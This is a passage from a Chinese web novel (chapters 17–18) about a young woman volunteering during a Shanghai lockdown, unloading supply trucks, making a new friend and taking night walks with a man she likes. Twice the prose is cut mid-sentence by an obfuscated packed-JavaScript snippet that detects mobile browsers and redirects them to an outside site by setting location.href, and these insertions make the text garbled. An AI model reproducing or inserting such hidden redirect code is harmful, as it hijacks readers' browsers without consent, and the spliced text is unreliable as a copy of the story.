“我为什么不会打游戏。”他恼怒地说,“我看起来很老套吗?” “那不是,我只是觉得你很忙,觉都不够睡,怎么会有时间练习打游戏呢?”季节心中暗道,莫不是他也辞职过,用一个假期专门苦练升级。 “我不光会打,我还打得可好了。”他仰起下巴傲慢地说道。 那一瞬间,季节忽然福至心灵,什么都明白了。果然,在充满风吹树叶声音的花园里,他静静地问了一句:“怎么从来不找我打啊。” 季节转头看去,他垂头看向别处。似乎是感受到季节一直看着自己,他的耳根开始微微发红,但坚持不抬头。季节笑了起来:“因为怕影响你睡觉啊。条学长,原来你是为这个生气啊?我还以为——” 他问:“以为什么?” 季节伸手拍了一下他的脑袋:“我以为你嫉妒我年轻健美,每天睡十小时,还不用工作。” “瞎说。”他短促地笑了一下,又垂下头来,“你和本杰明,打到哪一步了?” 季节忍着笑回答:“打到他的朋友出方舱,他就不跟我们打了。” “我们?” “哦,对了。”季节慢条斯理地说道,“本杰明每次,是跟我和我的狐朋狗友一起打的,我们一共五个人。” 唰地一下,小条望向季节,夜色下,他的双眼熠熠生辉。季节补充了一句:“而且他不开麦,进来就打,打完就走,人狠话不多。” 他转过头去,哼了一声:“不早说。” 想起今晚老D几人的提醒,季节大致在心里想出一套说词,有些心虚地开口了:“条,条总。” “干嘛啦。”他看着季节,两人大眼对小眼,蓝口罩对蓝口罩。 季节说:“你……你一直都这么忙吗?” “是啊,这行你懂的。”小条认真地答道。 “那你忙。”季节只恨自己刚利的口齿此时竟然打结,果然骗人不可取。 他若无其事地说:“我还好,现在也没有特别忙,可以做点别的,还可以谈个恋爱。” 季节忽略了他的话,一咬牙问出原本准备好的问题:“你是不是因为忙,所以才没谈过恋爱?” “嗯?” 两人一起愣住了。季节突然反应过来他刚才说的话,只觉得大脑一阵发空。他则迷惑地问:“额,我不是刚说了嘛,没有那么忙呀。” “恩,对。”季节加速荡着秋千,不敢看他的眼睛。 他忽然笑了,又拍了一下季节的头顶,用轻如细雨般的声音说道:“我确实没有谈过女朋友。不过,不是因为工作。” “那是——”季节迟疑了。如果老D在场,他可能会说小条有难言之隐,男科方面。老凤在场,则会说他在撒谎,肯定谈过。老盆,会说管他撒没撒谎,你喜欢就谈咯。而瓶子,会说你抓紧摔倒在他身上扒下他的口罩,不要再拖了,先看看下半张脸的情况再做判断。 或许是季节思考时双眼闪烁不定,滴溜转圈,小条无奈地说:“想什么呢,警告一次,不要乱想哦。” 季节极力搜刮着赞美的词汇:“就是好奇呀,像条学长这么优秀,这么睿智,这么有组织能力,这么能搬箱子,又会骑三轮的人……怎么会没谈过呢?” 这段话把他夸得十分受用,他刚要说什么,忽然头顶一声雷响,大雨哗哗落下。这万分重要的关头,就这样被雨水冲垮。他拉起季节的手,带着她飞奔向一号楼。季节以勉强及格的体测水平,大步跟着他跑,两人的短袖都被雨打湿,薄薄地贴在身上。 雨中奔跑,如此罗曼蒂克的时刻,季节觉得自己应该说点什么。她大声问:“三件套和五还要,到底指什么?” “……” 17. 一袋菜的缘分 这一场雨,一直下到了第二天下午。到傍晚五点时,天空恰好放晴,季节来到大门口,抬头看见一道彩虹出现在晚霞上,仿佛老楼的屋顶之间拉起一条近乎透明的彩带。小条就站在彩虹下方,温柔地注视着她。 季节对他嘿嘿一笑,两人谁也没有提起昨晚手拉手奔跑的事。小条告诉她,上午班从八点到十一点,下午班从午后两点到五点,都冒着这场大雨送货。晚班的人无疑是幸运儿,尽管彩虹转瞬即逝。 今晚,又一批政府物资将要抵达。季节跟着小条开展卸货这条业务线,大门口的快递运输线另有其他志愿者守护。负责接物资的志愿者们正源源不断地赶来,这次的人比以往哪一次都多,庞大的人群在三街坊内的主干道上集聚,一直延伸至大门口,使得不少居民打开窗户,探头出来看一眼。 大货车来之前,物资组原地待命。季节无事可做,忍不住又溜达到大门口,帮“门口的”一起接待快递。这个里弄的货架爆满了,她就拎着壶过去消毒。那个里弄的志愿者忙不过来了,她就找一根笔帮着记录包裹代码。 小条不知何时踱到她身边,用一种闲适而疏朗的口吻问道:“你这是在干嘛呢?”他那样子特别像是来旅游的。 季节笑嘻嘻地答道:“我是游走的,物资来了就搬物资,没事的时候就帮门口。” 他拐着弯哦了一声,学她的语调说:“游走的。” 季节高傲地昂着头去拖车送快递和外卖了,摇身一变,由“门口的”转变为“派送的”。送完一车大包小裹,回来后刚好听闻巨型货车到门口了,就停在马路边。季节交接了板车,走出大门,又自动变回物资组成员,游走于多重身份之间而淡定自如。 迟到的本杰明一边系着小蓝衣,一边匆匆赶来,仿佛要急着系围裙下厨炒菜。雨披姐到得较早,冲他招手,这次两人一起负责查数。小条作为物资组的总负责人,带领一群板车壮汉抵达货车的后车厢,这群壮汉里也夹杂着季节和另外几个女生。 好在这次的物资是一个一个的大包,单个大约二十斤重,比纸箱好搬。双扇车厢门一开,小条和马克照例跳进去,几袋几袋地搬起来往外传递。花泽类和一位戴着大金链的大哥站在车下,作为衔接的枢纽,将传过来的大包堆上板车。本杰明计数,雨披姐同步计数作为复核,可见流程不断优化。 堆得不高的小板车,季节可以独自拖进大门去。最大号的板车堆出一座山,壮汉抓着拉杆,向前倾斜着身体,拖动板车走回大门里,让季节想起了《伏尔加河的纤夫》这幅世界名画。一车接一车,数千份物资被卸在大门后,再立刻由物资组其他成员转运到各个弄附近的空地。 为了加快速度,大货车这头的队伍调整策略,再度采取和上次卸蔬菜包一样的方式。小条和马克把大包从车厢深处转移到车厢门口,几个人涌到车边,七手八脚抓几包下来,堆到板车上,每人大声报数。计数加总,则全交给本杰明和雨披姐,令他二人应接不暇。 中场休息,季节又开始用小蓝衣的袖子抹额头上的碎发。小条跳下车,捉住她的手:“去把手套摘了,双手消毒以后再摸脸。” “旧手套摘下来就不能用了,还要换新的,有点浪费。”季节心里觉得麻烦,又怕浪费资源,小心地说,“我可以了,我现在没那么痒了。” 小条转头就往大门里走去。季节习惯性地跟在他身后,不时有骑摩托的快递员和外卖员掠过他们身边,将包裹交给门口的志愿者。门后几个货架照例被搬到一边,以便运送物资的板车进出,大门口乱中有序。 穿过人来人往的剪影,走到一张小桌附近,小条的脚步突然停了。季节没能及时刹住,差点撞到他宽阔的后背上。那张小桌是志愿者们临时的杂货桌,摆放着免洗消毒凝胶、酒精、纸笔、订书器、剪刀……七零八碎,一应俱全。小条摘下手套放进垃圾桶,拿起酒精给自己双手消毒,再用凝胶搓一遍,然后转过身来,低头看着季节。 季节也抬头看着他。他抬起一只手,轻轻拨开季节脸上的头发。奇痒难耐的感觉一消失,季节顿时飘飘欲仙,像是猫狗被顺毛一样,眯起眼睛笑了。他重新戴好手套,好笑地看了一眼季节,转身回到大门外。 新一轮卸车开始了。大家依旧扑到车厢边抓大包,像蓝色的海浪此起彼伏地涌动。本杰明和雨披姐严阵以待,口中念念有词,仿佛能掐会算。终于,雨披姐大声说数目已足,三街坊所有物资卸货完毕。 小条跃下了车。随货车而来的工作人员站在路边,拿着两张单子等着他。季节自己像一条泥鳅一样游刃有余地钻进大门后的人群中,开始随大家一起将大包运到各个弄。板车、自行车、电三轮,还有二个赤的小私家车,全都一起上阵,其余人则用手拎。 季节拎起两大包,抱在怀中以节约体力,迈开不紧不慢的步子跑向1025弄的空地,自觉好像偷东西一样。地上一片物资方阵,以25乘10的方式排列,季节将手里的两包依次码在最下面一横排里,与上一横排的大包一一对齐,而后立刻返回大门口开始下一趟。 脚步纷杂,人与车交错。方才那个戴大金链的大哥正骑着自行车运货,两个车把手上各自挂一包,后座上捆着一包,慢慢悠悠地蹬着,季节发现原来他就是平时那个骑自行车送货的大哥。 搬了数趟以后,有人反映说各个弄附近的空地已经堆得没处下脚,需要等各楼长前来领走一部分,再开始新的搬运。大家原地休息,只有一位不知名男子还在往板车上装货,想要趁休息时提起把车装好,过一会儿拉上就能走。季节走过去帮他一起装,他忍辱负重地抬起头,沧桑地说:“谢谢。” 小条站在不远处,和花泽类讨论着什么。季节望到他时,他也转头看了过来,好像一直在用余光关注着季节的一举一动。 本杰明双手扶着后腰走了过来,对季节抱怨道:“这几天又加班写报告,腰都废了。而且我住二楼,窗户外面是铁栏杆,看出去很压抑的,你知道的……” “知道,知道。”季节同情地说,“那还不如出来干活的时候,能透透气。” 本杰明如遇知音,两人聊了起来,又交换了一下打游戏的经验和体会。季节说起理论,头头是道,条理清晰,不知道的还以为她至少是一个市或一个区的排行第一名。本杰明立在原地,双手交叠于体前,一手握着另一只手的手腕,含蓄地点头,就像陪同领导视察时一样。 小条走过来,状若轻松地问道:“差多少了,开始下一轮?”前方传来探子的消息,说各个弄的物资已经领回去不少,可以继续往那边运了。于是大家立刻活动起来,各自使出绝招,拎的拎,扛的扛,开车的开车,仿佛神仙打架,可谓八仙过海,各显神通。 季节依旧一次拿两包,往返几趟,大门口地上剩的不多了。一个女生脚边还有一包,季节想都没想,就弯腰伸手,猛地抽走。 可巧的是,这女生也同时弯腰去拿这包,手指尖比季节晚到了半秒钟,只见一双手在她眼前把大包抽走,十分突然。两人都直起身,那女生大为讶异,对着季节嘿嘿嘿笑了起来,一双眼睛弯了起来,很是好看。季节托着那个大包,也对着她傻笑起来。 季节送走了那包,就回头去寻找那个女生的身影。那是一个细高挑的女生,比季节高了半个头,头发在脑后盘成一个团,季节虽然有轻微的脸盲症,但还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718051|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是锁定了她的身影,立刻跑到她身边一起干活。两人一起从地上拎起大包,一起快步走向某个弄,一起把货物码在地上。虽然彼此没怎么聊天,却时不时地对视,然后傻笑。 待到大门口的所有大包都运至各个弄,志愿者们又纷纷帮忙将各个弄旁边堆的大包运到各个楼前,引起了楼长们的感谢。那个女生拎起两包,对季节说:“走,咱们去送那边的楼。”她看着的是最远的几栋楼的方向。 季节也拎起两包,快乐地说:“好!” 两人一起往那几栋楼走去,几趟就把一个楼前堆满二十余份。季节站在楼前台阶下,伸长手臂把大包递给她,由她站在台阶上码齐。一地大包,摆在一层一层的台阶上,最后她被圈在了里面,只能往外跳。季节适时地伸手,她抓着季节的手,一个空中大跨越,跳到平地上。 两人脸对着脸,又嘿嘿笑了起来,随后开始往下一个楼运送。先前的楼里已经有楼长下来看守货物,其余居民依次下楼,在楼长的统计下领取物资。两个女孩经过这栋楼,去往下一栋楼,那几个大爷大娘纷纷喊叫道:“谢谢你们!谢谢你们了噢!” 两人挥手致意,大声说着场面话:“我们小年轻,应该的!” 终于,每栋楼都领到了数目相当的物资。志愿者们在大门口脱衣,消毒,陆续回家。眼看着那个女生要走,季节一掀蓝袍,从腰间掏出一把手机,追上去叫道,姐妹留步,加个微信。 那个女生立刻停下来,弯起眼睛嘿嘿笑着,痛快地加了微信。她的名字叫晓歆,她说按照她家那边的叫法,昵称就是阿歆。季节说,我叫季节,就叫季节,不是艺名,是真名。阿歆惊叹道,季节,真好听啊,四季的季节。 两人道别后,季节脱下小蓝衣,用喷壶对着自己喷消毒水,满心都是欢欣。小条拖着一辆空板车走回来,原来他这一晚的后半场在充当“派送的”,送出去若干车的快递外卖。 季节忽然想起还没有问问阿歆,她平时会不会出来当班?如果当班,能不能下次还是两人一起?她担心两人还不熟的时候,发微信问这问题太正式,容易让别人有压力,于是她朝着远处阿歆的背影噔噔噔跑去。 “去哪?”小条叫住她。 季节急急忙忙答道:“我要去找我新认识的朋友。” “女生?”小条单侧眉毛挑了一下。 季节恩了一声就要继续拿腿。他像一个家长听说孩子要去找全校第一玩,扬扬下巴应允道:“行,挺好,去吧。” 话音没落,季节早就跑了。 季节如愿以偿地追上了阿歆,又喜出望外地听说她也会每天出来当班,只不过是白班。两人约定周末白天一起出来送货,阿歆说她和花泽类队长比较熟,会用这一层关系将两人排班排在一起。 约定好下次再见以后,季节迈着轻松的步伐,欢天喜地,走回到一号楼。经过大门口,发现小条还站在那里等着她。 季节站住了。小条从草丛里拿起一个纸兜,里面装着季节的雨伞。昨晚大雨中,他先把季节送回楼,扭头就要走。季节叫住他,上去拿了一把伞给他用。 “哦,我差点忘了。”季节说着就伸手去接纸兜,却接了个空。 小条高高举起那个纸袋,哼哼笑了一声。季节一头雾水,踮起脚来伸手去抓,却差了一大截。 “你干嘛举那么高?”她只好一手攀着他的手臂,支撑着自己的重量,另一手极力向上够着。她好像沉浸在这种摸高游戏里了,完全忘了问问小条是不是吃错了药。 两人挨得很近。季节一转头,发现他正一眨不眨地盯着自己,这才想起防疫要求。却听他说:“去小花园里。” 18. 想要发明时光机 绿树掩映的小花园里,处处都残留着雨后的积水。季节想要找块干净的纸来,擦去秋千座上的水渍。小条拉住了她,像考学生一样问道:“去哪找纸?”季节觉得他看起来更像自己那个中学老师了。 季节说:“我今晚带了一些大白纸来当班,下午班的人说纸不够了。刚才应该没用完,剩了一些在大门口……对了!那沓纸里还有我打废的简历,要不就用我的简历来擦?” “……”他又在她头顶拍了一下,“这湿气多重,擦干了也不行,不能坐这样的地方。” “好的。”季节也拍了拍他,可惜只能拍到肩膀,“那咱们走走?你会不会太累?” “我为什么太累。”小条一挑眉毛,“我看起来体格那么差?” “你不是一直在搬物资嘛,就你搬得最多了。”季节关心地打量着他,“你的胳膊和腰都没事吧?” 小条若有所思地说:“腰?” “要不然我们去居委办公室偷板车,你盘腿坐在车上,我拉着你在小区遛弯。”季节担忧地多看了他几眼,心想他的腰间盘莫不是也要步本杰明的后尘? 小条委婉地说:“不用了哈,你拉不动我,又该哭鼻子了。” 季节恼怒地说:“别总提了,我没有!” 小条开怀大笑了几声,带着季节走出秘密花园。从深深的树林里穿出来,原本被枝叶隔绝在外的喧嚣嘈杂,一下全都回来了。两人沿着一条隐蔽的路慢慢走着,左边是沿路一行树,右边是联排的楼,夹在中间的狭长小路上飘动着两个身影,在黑暗中几人能够察觉。 四周形形色色的声音,从老楼的窗户里飘出来,落在两人的头顶。谁家的孩子在弹钢琴,断断续续,不停地卡壳重弹。为其伴奏的,是家长崩溃的怒骂声。季节不赞成地摇了摇头,觉得这样既令左邻右舍痛苦,又不利于孩子身心茁壮成长。 小条喃喃自语道:“沃日,听了半天没听出是个什么曲子。” 又慢慢走了一段,听见两口子在打架,声音极具有穿透力。一个声嘶力竭地喊:“你就是个动物!动物!”另一个则情绪异常激动,喊得像rap一样,还带吞字儿的,一句都听不懂。 这回是季节点评:“为啥是动物?一般骂人不都是骂畜生吗?”小条听了,嗤笑一声。小路尽头是一道围墙,再那边一大片仍旧是三街坊。三街坊多有隔断,围墙里套着围墙。 小条指着那截墙说:“看,这说明很久以前这里是好几个小区,后来合成了一个,就是三街坊。” 季节恍然大悟:“有道理啊,所以这么多死胡同。” 小条拉着她的胳膊,两人拐上另一条小路,将吵架声甩在身后,一阵敲敲打打声又出现了,大约是从头顶哪一家里发出来的。持续的敲击声无异于精神污染,季节反过来拉住小条的手臂,紧走几步,逃离了那种令人心悸的声音。 周围终于逐渐安静下来,偶尔有人语或狗吠,三街坊的夜晚恢复如常。季节奇怪地说:“莫非刚才那一片是竞技区吗?怎么那么热闹。” 小条目视前方,忽然冰冷地说:“还要挎着我吗?”他的声音沉沉的,听起来十分严厉,让季节猝不及防,心里微微一惊。她这才发现自己竟然还没有松开他的胳膊,甚至还习惯性地两手抱住,就像平时对瓶子那样。 噌地一下,季节弹开一步远,把他的胳膊扔回去了。 他从鼻子里轻轻笑了一声,把胳膊伸过来,做出一副大义凛然的样子:“逗你的,想挎就挎好了,免得你说我小气。” 季节一巴掌将他的手臂打回去:“你还挺大方的。” 他疼得嘶了一声,甩着手抱怨道:“我要是不让挎,有人晚上回去不是又得哭鼻子啊?”不等季节第二掌拍来,他拔腿就跑。季节在后面追击,两人打打闹闹,仿佛平日里在王者荣耀中接受的训练终于应用到实战。 后来终于笑得跑不动了,季节喊了休战。小条带着她继续往新的小路上拐,季节说:“这里好像是小区最北边了,就是先前丢过快递外卖的那几排楼,咱们要是埋伏一下,会不会蹲到小偷?” “搬物资还不够,还要抓小偷啊。”小条冲她抱了抱拳,“女侠,佩服佩服。” 万籁俱寂的时刻,忽然有什么东西咚地一下落到身旁的草丛上。季节毫无防备,吓得跳了起来,撞到了小条身边。脑海里闪过的第一个念头—— 真有贼,贼来了。 那东西踏碎枯枝,惊扰草叶,引起一阵唰啦唰啦乱响。待到灌木分开,原来是一只野猫走了出来。 季节松了一口气,心脏还在嘣嘣大跳:“这只猫从哪掉下来的?怎么动静这么大?”她没好意思评价,一般的猫,不是以身手敏捷、飞檐走壁著称吗? “又挎人家。”小条幽怨的声音从头顶传来。季节发现自己竟然无意中又抱着他的手臂,不禁两眼一黑。她觉得自己一定是内心深处认为小条像一只老猫,散发着和煦的暖意,否则这一晚上怎么接二连三地挎人家? 她张口就说:“因为你好像猫妈妈哦。” “……”他忽然轻轻捏了捏她的手,示意她看向那只流浪猫。 那只猫在翻垃圾桶,似乎是想找点能吃的东西。猫身瘦得都凹进去了,能看见一根一根的肋骨,毛皮松松垮垮地耷拉着。风一吹,没有光泽的猫毛簌簌地掉落下来。 “没有人喂它了吗?”季节悄声问道。南方的小区里总是有很多野猫。此前,小区的草丛里总是摆着一些碗,里面装着清水和猫粮,来自爱猫的邻里的馈赠。季节本人也曾资助过几只幼猫,可惜那几只猫长大后行走江湖,不告而别。 猫的耳朵向背面转了两下,听见这边有人声。它警觉地回头看了一眼,很快就钻进灌木丛,沙沙地逃走了。季节看着它消失的地方,心里十分惆怅。小条轻声说:“走吧。” 小路细如缎带,两人并肩而行,手臂总是碰上手臂。路尽头是一座废弃的小楼,似乎以前是个工厂,竟然也被划入来了三街坊的围栏内。墙根下长着高高的杂草,一道光影一闪而过,定睛细看,草里竟立着一面一米多高的破镜子。 季节稀奇地说:“三街坊里怎么这么多好东西?不知是谁家不要的镜子扔在这里了。”借着微弱的路灯的光芒,镜子里倒映出两人的身影,季节想起自己好几天没照镜子了,就欣赏了一下自己细长的身形和清秀的脸,尽管下半张脸无法展示在小条面前。接着,她发现小条今天穿着浅蓝色翻领T恤和浅灰色短裤,手臂和小腿的线条如同雕塑一样饱满优美,令她忘了收回视线,黑眼珠滴溜溜地上下漂浮。 小条指了指这栋灰色的水泥楼:“你猜里面有什么?”季节仰头观察,小楼的窗户都没有玻璃,爬藤和杂草几乎把这些空洞的窗口封印了,更有横七竖八的粗重管道铺过墙面,是现在非常流行的工业风。 “嘣!”小条突然俯身对着她低喝一声,强大的胸腔共鸣作用使得他的吼声低沉厚重。季节哆嗦了一下,转头纳闷地看着他。他指了指那些黑漆漆的窗洞:“里面有鬼。” “……”季节抱起膀子说,“我不怕鬼,如果这地方白给我住,我就住在这儿!” “那你可以去睡桥洞啊。”小条奇怪地说,“你不知道吗?附近有个桥洞,里面还堆了两层水泥管,摞在一起,loft,怎么样,哈哈哈……” 季节故意看着镜子里一高一矮两个影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722450|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,反唇相讥:“条总,你为什么总穿这件老头衫?”小条顺着她的目光,打量着镜中自己那件长长的半袖polo衫,脸都绿了。 一道露天楼梯斜挂在楼身外部,是上世纪常见的设计。由季节打头,两人踏平野草,踩着掉渣的楼梯向上攀登,坐在半空的某一阶上,俯视着下方的地面,或是从爬藤的缝隙里偷看着工厂内部。 小条闲闲地问:“为什么想住桥洞了,是不是辞职以后没钱了?” “我什么时候要住桥洞了,明明是你说的住桥洞。”季节哼了一声。 “你家里人有什么见地没?”小条随意地敞开腿,脚踩在下面隔了两阶的台阶上,两个胳膊肘支在膝盖上。 “他们不管我的。”季节摇了摇头,也把腿伸开,和他踩同一个台阶,“我从小到大就没怎么被他们关心过。他们在我很小的时候就离婚了。” “哦。”小条转过脸来看了她一眼,“那你每次回家跟谁住,你妈妈?” “对,我跟我妈住。”季节点头说道,“不过我每次也不能回去太久,不然会吵架,你懂的。” 他缓缓地轻声问道:“为什么?” “小的时候他们几乎不照顾我,也不太管我。那个时候我被同学欺负,他们也不会替我出头,我做得不好,他们只会骂我,从来不帮我想想该怎么解决。所以现在我都长大了,他们反倒来关照我,我就无法接受吧。”季节淡淡地说,“你有没有听过一句话,大致是说小时候没有得到爱,长大后得到再多也不以为然。” “那你怎么还听思乡曲呢?”他歪着头看着季节,口罩下方似乎是一副觉得有趣的表情。 “人是很奇怪的。”季节叹了口气,像知心大姐一样语重心长地说,“你离家久了,可能会想念家里的安稳,觉得那种意象很温暖,就像大冬天想到壁炉一样。但是如果真回去了,又会勾起不好的记忆。” “恩,那你挺适合离家出走的。”小条笑了一下,没有多说。 “条儿,我一直想问问,你听起来不是京城公子哥吗?为什么背井离乡来上海滩闯荡?”季节很少在沪上看到京派子弟,这两地都属于最发达地区,似乎没有必要做此长途迁徙。 “我也不想回家。”小条向后一靠,抬头看着蓝黑色的夜空,“所以我考到D大以后,就很少再回去了。” “哦。”季节非常识相,没有继续多问,而是随口转移了话题,“你当年一定考了很多分。” “我高中的时候,选的理科。因为那时候我特别想发明时光机。”他垂下头来,看着自己的脚尖。 “天哪,真好。”虽然不知道他为什么想要回到过去,但季节还是被这种浪漫的念头深深打动了。如果有时光机,人就可以回到一生中最快乐的时候,反复重温某一天的生活…… “后来也确实学了工科,不过毕业以后还是转到金融这行咯。”他无奈地一摊手。季节一想,他毕业时正是金融业风头最盛时,的确有不少理工科毕业生去了金融业。投行为各行各业的公司提供咨询服务,有这类理工科背景作为加成,是很好的支撑。 “走了,小保安。”小条把她从台阶上拉起来,两人下了楼梯,沿原路返回。季节对立体空间的记忆力一般,小条带她走向一号楼。 季节感慨道:“条儿,你说咱们这也算是夜游了吧,在荒草丛生的花园里游荡,好像两个中世纪的鬼魂。” 一号楼已经出现在眼前。小条憋着笑说:“恩,秉猪夜游。”接着,无视了季节的怒意,他挥挥手转身走了。季节双手叉腰,看着他的背影,忽然想起自己始终没有加到他真正的微信主号,尽管两人已经在花园中长谈了那么多次。